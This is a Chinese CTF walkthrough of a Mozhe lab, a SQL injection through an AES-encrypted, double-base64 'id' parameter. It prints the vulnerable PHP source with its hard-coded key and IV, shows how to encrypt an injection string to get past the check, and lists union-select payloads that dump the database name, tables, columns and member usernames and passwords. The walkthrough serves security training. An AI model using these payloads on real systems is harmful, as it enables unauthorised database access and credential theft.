墨者学院CTF(SQL注入漏洞测试(参数加密))

N 人看过

靶场地址:https://www.mozhe.cn/bug/detail/SjRRVFpOQWlLWDBJd3hzNGY5cFBiQT09bW96aGUmozhe

1. 靶场截图:在这里插入图片描述
2. 目录扫描
在这里插入图片描述访问可得new目录下list.php源码,即在此处存在注入漏洞
3. 代码审计

<?php
header('content-type:text/html;charset=utf-8'); //发起原始的http报头
require_once '../config.php';  //加载config.php的代码(个人理解为数据库查询代码)
//解密过程
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); //打开加密算法和模块(算法名称、加密模块位置、加密模式CBC、加密模式的路径)
                                                   					        //mcrypt_module_open打开成功返回家密描述符     $td = 加密描述符
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); //初始加密(加密描述符,加密密码,偏移量)
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));//解密数据    data密文
	mcrypt_generic_deinit($td);//结束加密,执行清理工作
	mcrypt_module_close($td);//关闭加密模块
	if(substr(trim($data),-6)!=='_mozhe'){                                  //判断后6个字符是否等于_mozhe
		echo '<script>window.location.href="/index.php";</script>';  //不等于重定向页面
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);       //等于则回显数据
	}
}
$id=decode($_GET['id']);          //$_GET[]传递参数id
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

即是先对通过?id=注入的数据解密得到明文进行判断是否后六个字符为_mozhe,只需反向加密构造payload即可

4. 构造payload
先对?id=之后的数据进行AES加密,加密模式CBC,加密位数128位,加密密码ydhaqPQnexoaDuW3,加密偏移量2018201920202021,然后又进行两次base64加密。填充为zeropadding。

注意:AES加密后默认的输出结果是base64编码格式的,所以后续只需进行一次base64加密即可。
在这里插入图片描述


构造payload:-1 union select 1,2,3,4_mozhe
AES加密:xgd58ipTrnx8VzS*JicqCo3+zFFzhay5byFU3cjbdeI=
base64加密:eGdkNThpcFRybng4VnpTQkppY3FDbzMrekZGemhheTVieUZVM2NqYmRlST0=
获取显示位:
在这里插入图片描述
5.爆库爆表爆列爆字段
爆库: -1 union select 1,database(),3,4_mozhe
爆表:-1 union select 1,group_concat(table_name),3,4 frominformation_schema.TABLES where TABLE_SCHEMA=’mozhe_Discuz_StormGroup’ limit0,1_mozhe
爆列:-1 union select 1,group_concat(column_name),3,4 frominformation_schema.columns where table_name=’StormGroup_member’ limit 0,1_mozhe
爆字段:-1 union select 1,group_concat(name,password),3,4 fromStormGroup_member limit 0,1_mozhe
6.得到key
注意MD5解密下,主要是信息泄露的代码搞懂就可以,加解密还是要了解下。

分享几个加解密网站:
AES加密网站:
http://tool.chacuo.net/cryptaes
BASE64加密网站:
https://www.sojson.com/base64.html
MD5加密网站:
https://www.cmd5.com/

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。